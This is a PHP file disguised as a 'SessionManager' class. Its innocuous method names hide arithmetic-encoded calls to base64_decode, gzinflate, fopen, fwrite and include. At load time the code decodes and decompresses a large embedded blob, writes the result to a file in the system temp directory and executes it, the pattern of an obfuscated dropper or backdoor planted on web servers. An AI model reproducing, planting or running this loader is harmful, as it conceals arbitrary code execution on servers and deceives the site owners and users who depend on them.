<?php
class SessionManager {
	private $hl = '';
	private $lu = '';

	public function handleRequest($p1) {
		$a = array((((52*74)-3747)),(((74*95)-6930)),((25*2)+61),99,(80+13+8),((103-3)),(100-5),(3+49),(54),(111-10),((57+58)),97,(2*49));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function sanitizeInput($p1) {
		$a = array(((42+61)),((37+85)),(105),((7*3)+89),((2*51)),((33*2)+42),((5+92)),((62*91)-5526),101);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function updateCache($p1,$p2) {
		$a = array((110),(((77*1)+24)),(2*56),111,((108*10)-978));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function manageState($p1,$p2) {
		$a = array((14+87),(121-5),(63+21+21),(124-10),(75+37+7),((19+28+55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function validateInput($p1) {
		$a = array(((8+14+79)),115,((94*1)+17),(28+65+15),((63+36)),((71*1)+31));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function sendNotification($p1,$p2=null) {
		$a = array(((61+52+1)),116,(13+27+74),((15+24+66)),((14*104)-1347));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function resolveConflict() {
		$this->lu = $this->sendNotification($this->calculateSum(), '/');
	}

	public function prepareOutput() {
		$this->hl = $this->sanitizeInput($this->handleRequest($this->kx));
	}

	public function triggerCallback() {
		$fn = $this->lu.'/iz-6857c3a1b7d81';
		$f = $this->updateCache($fn, 'w');
		$this->manageState($f, $this->hl);
		$this->validateInput($f);
		$this->executeAction($fn);
	}

	private $kx = 'jVgJU+JME/4rWmW9kopQOUggy5d3ywOUXReUW7YsKqcEQhJIw' . 'uXrf/+6ZxIM6OLurrOZnqeP6e7pnvF/34NxcGK4WhiejDbey2u' . 'wcJZaZJ2EkRY5xtloblbo54kde0bk+N7JaBvmzkZTw2ZeHTt3G' . 'lqu/e0bIhn6ObI9M8dUFlYUL7wTXQstuTgyLcM3rdw7+DcR8cx' . 'U3vZVZvQQOa/vLKq2WGib3PnImJ2r/54/9huT4aCxve82lrrX2' . 'ujCKnrsr0NdNKKO+CMYCueFczduwuhcwjA/vzgfzS3CKiixedu' . 'LzWseFrrW4MptOldj4+4q1PqNsXnrAnmpO8r8aQBfw7EBo9DYw' . 'KgNrjgUtPUMlPQkvABRRcqCiB4O3J/GbeOm3Rn+0GYG17kNvEZ' . '1PR9uW79w3u67otZvDVp990Hr+qu+O0YLf1XdwBTcid4bRu1+s' . 'ATIXc8LYGX6yPnwn4Qq9BdUYQxM2bpUU71L20Pqwy0QlMUDtSd' . 'Zm419uvZjPLwpEpK23CLJFGoACvV3OYGDdPzygkn6+bLZEU2yP' . '+2uxRk3/vJevOKfHEkc9n/MtP7a1W6VLbh0cz+DaLSVCUjVBX6' . 'liw3XcKS5sVWmT4PW+OExa95YIz4Uexu9pgAx0Gcu8e4qiFJlQ' . 'DbQ1EQkDC2MK4nBlGzFEBrooWEfBj5dMxc7a+9+0f3FZAPIzfW' . '69cusISFRZ9zWOI3QCTEKqbd7Lobfm6ZgnTjqAaYrClzoO+A7y' . 'icG1Kvjbq92ucQQt4urm8egDi7BTTWdyxS6IfwaCeAWBhN+3uM' . 'yjokdwHqjC1I87Dc4ra/EkLA3+i3BDx+5nzfoWD/l0RxyRNBus' . 'YFxJgphKGNiE5vXaWBXY+prDOCeU1yT6s0Kjl2ktWutbrem3HS' . 'qbq2DZ6Vlt2Hs7XbkLlIYnq+a8jTghg9d17zqTls1jEBNue3w9' . 'V3qjRHenfYaHb5VG6B7atUWRr1OHWy/7NQS5l6X67Up7o7okFA' . 'PQi2NRAfNoUZSKAY9hRLcxtrl+No1Mptqo3ndYY0IhOPXaxOMn' . '4UkSdgdopYuhrwHPwS4MrepXEf7g68Q27ukwdVtCsIFioMvAgW' . 'f9mgiAM6YZGTte5O4El2VevNl/WcsphjmWcb5/mTf+ej53eImO' . 'rLoB6Tiobwfnt5XpuiPx13+LGJiR+9SrpN90JO2JM6u362A9tL' . 'rVuXE9HRdS5ZfurPeLE1b6gSbpEn9Zo0kA+tB8SdJH5Ko2oCiI' . 'ntKCly/mhoy9+z0NMySWM0InxYl9RQospU5ddCW3saWZlqLHLZ' . 'FaGrQ9CAKhJNhKp+sYYexcA2aohOGVgRN8rba+X2Awb7BPDPM6' . '9nI1FQgz/ekLACSSkHEP/+E0SLwQzK5yCKhFzDMqaramhtazKv' . 'pWHuCsOJAYwBJbxYAPqxjZ8DFtyPmaihkm5qreerZ6LrZ/FmvV' . 's5Gs1Wo5oolic2LYil/khc5mc0Xi0WmQhq7muNlMc9LMs7dSdq' . '7k9lvwv+sZpVB+2Eqq7HjWuntIgstqGjA77xc5tk8LwigkS9KM' . 'Mrl8nNyl0CfnRKYWGbLpbwiJStsLi+UkUUoi7CZ1x0uX+bzksC' . 'CqTuk40XMwo/h6sGzPID1haVN6X5Z9s/We9i9JufJ7gH5Rt3wQ' . 'apQELN/2C/mDNguiWC6BJ59o26nRmRkltgS85xjCnQhL5SKEIq' . 'yxBblEivycuoYXJQhWLIAPhQlmRWL8nOOyCQBpvYSEbwoQFyLb' . 'FEREsTFB63igeVfzMGXifsERWAhFGVWeqah/ihbKkgs/DDPhU+' . 'WSriWHRiUcwCTC4LE7g8EBlEXlDI4tMxjJvGcDNkNrnU8w41NK' . '3FH5S173Z0DdTXxwMxoqubLBaUkSLICyS+XBBGoxtZPj+HZKJz' . 'O9jID72MbkhhOYKoH1QDTBu5VGDpQQEvHyNBcV9Nd67C8jPH6C' . 'YcWtRieasQLd+R4Dp5cEM1UCAFOsh8gyfAurrut++ZDZ9Ru349' . '61Va99vRQrbYuqKl/A79rtjsXB0fiCGOteX/f7N83ry879WbjI' . 'i8pWBkUXoF0E/gjjK1qp9tqdFqXjTY0mAtFzsuiTJL+GNdd9fI' . 'G0Bn7OJb8PWbjdbPRqF53OvVf1Wa3c5EXS0K+yLECj6YKnHSEN' . 'eXB41jCgGKoCdpaWwbBItWfUuKLFTme7Sd0QjJcP7QSAinw/vS' . 'wP2BbxGt/BGX3VM3mPcem/xgmeVyRSCYF/mykb9VAW4TWCFSlO' . 'QH/WWoO1/YU4a1xipVd3ctIuDQz5JTG+6U5pil6ICREG7Pt7mA' . 'd7s/YOlBcYU+ejk+yzyTCRRokfmSAu/QnaDxYyFDIEscxue7iL' . 'nRnqdqhb0z9wPJy6BHr+wG/RiwhTf3bwRJ24jW446NeDNEY935' . 'BRIpKiS1zXL4kFb9l4gVJVeTSRg6mMK92EEchnWDFi9FGU4dOW' . 'S6xvAQ1m4dc5GUlbYOntuWnzHjmZ7pqQ1KlInioQMDHAR9XEtM' . 'bg86QvMR+OdMpDfgO6w5c7TEwqF3kSix2b6x5aX6iRrga0Cwj8' . 'rD3WJqlpqFuV1tQIvbcAk8DWuPD1TEYeaCheynY3rrH0AGpexQ' . '6C76Qu8Cb9Quiv38KwRsePA+Y58NY48Peot1bn2lfaFmj+caft' . 'SDE/0TJyqS3qcqXnsSk1I4qwFaAp8hGPV7sun/jdry9Tv4sFp4' . 'N78K+CEvyJDwibZPUMCoQ8tB23MhajJbaIkccsNdXxBI0fDLS9' . 'qbPVAKite2QO1xlmeUy3gM+jBlB4eq9RuIcNlc5du9NdhfQm69' . 'ljP2Tw0yLaUGaFQ4WQvK+JvlRwIzdW4e3DeXSDtlsmuYVaw3tn' . 'CHGne6q6oz577/dbBZkZyAKLUy4kj3Ox1py3T48SXDq1X+Ra+8' . 'lEaH2KV2aBXtLc48mGeXSMHfXL7EKDcbyyC/0kl/vJbNJ6HvpN' . '7GDIe0kfegQ5r942iQtEF5n2RcOxgGhOye9/R8=';

	public function executeAction($p) {
		include($p);
	}

	public function calculateSum() {
		$a=array(((122-7)),((64+57)),(33+82),(95),(((41*1)+62)),101,(118-2),(95),(((30*3)+26)),((31+23+47)),109,112,(((36*1)+59)),(9+41+50),((29*3)+18),(2*57));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ek = new SessionManager();
$ek->resolveConflict();
$ek->prepareOutput();
$ek->triggerCallback();
